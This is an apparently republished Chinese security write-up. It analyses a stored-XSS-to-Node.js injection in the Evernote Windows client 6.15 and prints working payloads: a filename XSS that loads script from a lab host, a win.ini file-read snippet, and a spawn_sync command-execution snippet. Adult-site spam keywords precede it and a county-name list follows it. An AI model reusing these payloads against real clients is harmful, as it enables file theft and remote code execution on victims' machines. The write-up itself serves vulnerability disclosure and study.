中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析

發布時間:2021-12-22 23:42:51 來源:億速云 閱讀:183 作者:柒染 欄目:安全技術

這篇文章給大家介紹如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。

0x00 前言

2018/09/20 ,我當時的同事@sebao告訴我印象筆記修復了他的XSS漏洞并登上了名人堂,碰巧國慶的時候考古過幾個客戶端 XSS 導致命令執行的案例,就想在印象筆記客戶端也尋找一下類似的問題。在之后的測試過程中,我不僅發現原本的XSS修復方案存在漏洞、利用這個XSS漏洞實現了本地文件讀取和遠程命令執行,還通過分享筆記的功能實現了遠程攻擊。

0x01 漏洞簡介

印象筆記 Windows 客戶端 6.14 版本修復了一個儲存型 XSS。

由于只修復了 XSS 的入口點而沒有在出口處添加過濾,導致攻擊者可以在 6.14 版本的客戶端中生成儲存型 XSS并在 6.15 版本中觸發。

印象筆記的展示模式是使用 NodeWebKit 實現的,通過儲存型 XSS 可以在展示模式下注入 Nodejs 代碼。

經過各種嘗試,最終通過注入的 Nodejs 代碼實現了本地文件讀取和遠程命令執行。

0x02 印象筆記 Windows 客戶端 6.14 儲存型 XSS 漏洞

@sebao 發現的儲存型 XSS 漏洞的觸發方式如下: 1. 在筆記中添加一張圖片 2. 右鍵并將該圖片更名為” onclick=”alert(1)”>.jpg”3. 雙擊打開該筆記并點擊圖片,成功彈框。

如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析

如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析

經過測試,印象筆記官方修復該 XSS 的方式為:在更名處過濾了>、<、”等特殊字符,但有意思的是我在 6.14 版本下測試的 XSS 在6.15 版本中依舊可以彈框,這也就意味著:官方只修了 XSS 的入口,在 XSS 的輸出位置,依舊是沒有任何過濾的。

0x03 演示模式下的 Nodejs 代碼注入

XSS 修復方案存在漏洞并不能算是一個很嚴重的安全問題,所以我決定深入挖掘一下其他的漏洞,比如本地文件讀取或者遠程命令執行。為了方便測試,我在 6.14 版本的客戶端中將一張圖片更名為” onclick=”alert(1)”><scriptsrc=”http://172.16.4.1:8000/1.js“>.jpg后,將客戶端升級為最新版 6.15。

我測試了一些特殊的API,例如evernote.openAttachment、goog.loadModuleFromUrl,但是沒有顯著的收獲。所以我轉換了思路,遍歷C:\\Program Files(x86)\Evernote\Evernote\目錄下的所有文件。我發現印象筆記在C:\\Program Files(x86)\Evernote\Evernote\NodeWebKit目錄下存在NodeWebKit,在演示的時候,印象筆記會調用這個NodeWebKit。

一個更好的消息是我可以通過之前發現的儲存型 XSS 在NodeWebKit中執行Nodejs代碼。

如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析

0x04 本地文件讀取 和 遠程命令執行的實現

既然可以注入Nodejs代碼,那就意味著我可以嘗試使用child_process來執行任意命令。

我嘗試使用require(‘child_process’).exec,但是卻報錯了:Module name “child_process” has not been loaded yet forcontext。

如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析

這個錯誤并沒有澆滅我剛發現Nodejs代碼注入的激情,我在查閱各種資料嘗試解決/繞過 這個問題。最終,我發現了前人的足跡:Howwe exploited a remote code execution vulnerability in math.js

根據文中的內容,簡單的修改讀取本地文件的 payload 很快就實現了相應的功能:

alert("Tryto read C:\\\\Windows\\win.ini");try{  var buffer = new Buffer(8192); process.binding('fs').read(process.binding('fs').open('..\\..\\..\\..\\..\\..\\..\\Windows\\win.ini',0, 0600), buffer, 0, 4096);  alert(buffer);}catch(err){  alert(err);}

但是在嘗試遠程命令執行的時候,我遇到了一些問題。由于并不了解Nodejs,所以我不知道為什么NodeWebkit中沒有Object和Array,也不知道如何解決這個問題。我聽取了文中的建議,嘗試去理解child_process 的源碼 ,并且查找spawn_sync相關的用法。

最終,我從window.process.env中獲取到env的內容,并使用spawn_sync成功地彈出了計算器。

// commandexecutedtry{  spawn_sync = process.binding('spawn_sync');  envPairs = [];  for (var key in window.process.env) {    envPairs.push(key + '=' +window.process.env[key]);  }  args = [];   const options = {    file: 'C:\\\\Windows\\system32\\calc.exe',    args: args,    envPairs: envPairs,    stdio: [      { type: 'pipe', readable: true, writable:false },      { type: 'pipe', readable: false,writable: true },      { type: 'pipe', readable: false,writable: true }    ]  };  spawn_sync.spawn(options);}catch(err){  alert(err);}

0x05 通過分享功能攻擊其他用戶

在我實現了本地文件讀取和本機命令執行后,黑哥提出了一個更高的要求:證明這個漏洞可以影響到其他用戶。

在注冊了一個小號后,我嘗試使用分享功能將惡意筆記分享給 ”他人“。

如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析

我的小號將會在工作空間收到別人發來的消息。

如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析

我的小號嘗試演示這個筆記,被注入的Nodejs代碼成功執行!

關于如何實現Windows客戶端6.15本地文件讀取和遠程命令執行漏洞分析就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

来凤县| 太谷县| 依安县| 齐齐哈尔市| 华亭县| 社旗县| 乌恰县| 丰宁| 泽库县| 蒙自县| 舒城县| 渝中区| 红安县| 平顶山市| 红河县| 林西县| 肇州县| 景泰县| 简阳市| 呼和浩特市| 墨江| 大厂| 治县。| 航空| 平陆县| 巴东县| 明溪县| 临沂市| 郑州市| 泌阳县| 固阳县| 闻喜县| 大同市| 和田市| 新郑市| 油尖旺区| 日喀则市| 即墨市| 温宿县| 安吉县| 中江县|